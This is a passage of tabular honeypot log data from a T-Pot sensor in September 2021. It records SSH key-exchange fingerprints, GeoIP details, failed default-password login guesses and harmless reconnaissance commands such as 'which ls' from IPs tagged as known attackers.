33324	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:01.04249+03	2021-09-20 15:00:05.717723+03	{"_id": "OwYPA3wBvYTbRNuENk_L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:55:01.042490Z", "@timestamp": "2021-09-20T11:55:01.042Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33325	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:55:00.426234+03	2021-09-20 15:00:05.718724+03	{"_id": "OAYPA3wBvYTbRNuENk_K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "35ea6e2e09a5", "@version": "1", "timestamp": "2021-09-20T11:55:00.426234Z", "@timestamp": "2021-09-20T11:55:00.426Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33326	113.105.80.34	109.199.241.180	Suricata	2021-09-20 14:55:00.425606+03	2021-09-20 15:00:05.720722+03	{"_id": "PQYPA3wBvYTbRNuEOE8Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "113.105.80.34", "dest_ip": "192.168.20.116", "flow_id": 2093671844616874, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47220, "dest_port": 22, "timestamp": "2021-09-20T11:55:00.425606Z", "@timestamp": "2021-09-20T11:55:00.425Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33327	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:55:01.329015+03	2021-09-20 15:00:05.721723+03	{"_id": "QAYPA3wBvYTbRNuEOk-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.closed", "message": "Connection lost after 30 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 30.069459915161133, "timestamp": "2021-09-20T11:55:01.329015Z", "@timestamp": "2021-09-20T11:55:01.329Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33328	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:55:01.64716+03	2021-09-20 15:00:05.722722+03	{"_id": "QQYPA3wBvYTbRNuEOk-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.login.failed", "message": "login attempt [app/app] failed", "session": "35ea6e2e09a5", "@version": "1", "password": "app", "username": "app", "timestamp": "2021-09-20T11:55:01.647160Z", "@timestamp": "2021-09-20T11:55:01.647Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33329	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:55:02.932668+03	2021-09-20 15:00:05.723722+03	{"_id": "QwYPA3wBvYTbRNuEPk-d", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "35ea6e2e09a5", "@version": "1", "duration": 2.7894489765167236, "timestamp": "2021-09-20T11:55:02.932668Z", "@timestamp": "2021-09-20T11:55:02.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33330	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:55:05.012995+03	2021-09-20 15:00:05.724722+03	{"_id": "RwYPA3wBvYTbRNuERk9t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "faf46368c572", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:55:05.012995Z", "@timestamp": "2021-09-20T11:55:05.012Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33332	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:55:05.356383+03	2021-09-20 15:00:05.727722+03	{"_id": "TAYPA3wBvYTbRNuER0-5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 27350, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2969, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 950862651943299, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 58791, "timestamp": "2021-09-20T11:55:05.356383Z", "@timestamp": "2021-09-20T11:55:05.356Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33333	150.109.115.128	109.199.241.180	Fatt	2021-09-20 14:54:50.361506+03	2021-09-20 15:00:05.728724+03	{"_id": "AAYPA3wBvYTbRNuEDk8l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 56078, "dest_port": 22, "timestamp": "2021-09-20T11:54:50.361506", "@timestamp": "2021-09-20T11:54:50.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33334	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:54:50.148463+03	2021-09-20 15:00:05.729723+03	{"_id": "BwYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:56078 (192.168.176.2:22) [session: 98b12b2672a4]", "session": "98b12b2672a4", "@version": "1", "protocol": "ssh", "src_port": 56078, "dest_port": 22, "timestamp": "2021-09-20T11:54:50.148463Z", "@timestamp": "2021-09-20T11:54:50.148Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33335	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:54:50.151278+03	2021-09-20 15:00:05.730722+03	{"_id": "CAYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "98b12b2672a4", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:50.151278Z", "@timestamp": "2021-09-20T11:54:50.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
33336	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:50.325325+03	2021-09-20 15:00:05.732722+03	{"_id": "CQYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:50.325325Z", "@timestamp": "2021-09-20T11:54:50.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33337	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:50.325871+03	2021-09-20 15:00:05.733722+03	{"_id": "CgYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:50.325871Z", "@timestamp": "2021-09-20T11:54:50.325Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33338	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:54:50.361725+03	2021-09-20 15:00:05.734722+03	{"_id": "CwYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "98b12b2672a4", "@version": "1", "timestamp": "2021-09-20T11:54:50.361725Z", "@timestamp": "2021-09-20T11:54:50.361Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33339	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:50.909972+03	2021-09-20 15:00:05.735722+03	{"_id": "DAYPA3wBvYTbRNuED0-0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "121.4.68.188", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5847318172454834, "duplicate": true, "timestamp": "2021-09-20T11:54:50.909972Z", "@timestamp": "2021-09-20T11:54:50.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33340	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 14:54:51.328714+03	2021-09-20 15:00:05.736722+03	{"_id": "DgYPA3wBvYTbRNuEE0-c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "eventid": "cowrie.login.failed", "message": "login attempt [alfresco/123456] failed", "session": "98b12b2672a4", "@version": "1", "password": "123456", "username": "alfresco", "timestamp": "2021-09-20T11:54:51.328714Z", "@timestamp": "2021-09-20T11:54:51.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33341	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:52.313553+03	2021-09-20 15:00:05.737722+03	{"_id": "EgYPA3wBvYTbRNuEF0-F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:52.313553Z", "@timestamp": "2021-09-20T11:54:52.313Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33342	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:53.281051+03	2021-09-20 15:00:05.739722+03	{"_id": "GAYPA3wBvYTbRNuEG09t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:53.281051Z", "@timestamp": "2021-09-20T11:54:53.281Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33343	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:53.280005+03	2021-09-20 15:00:05.740722+03	{"_id": "GQYPA3wBvYTbRNuEG09t", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:53.280005Z", "@timestamp": "2021-09-20T11:54:53.280Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33344	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:54.262661+03	2021-09-20 15:00:05.741722+03	{"_id": "GwYPA3wBvYTbRNuEH09W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:54.262661Z", "@timestamp": "2021-09-20T11:54:54.262Z", "t-pot_ip_ext": 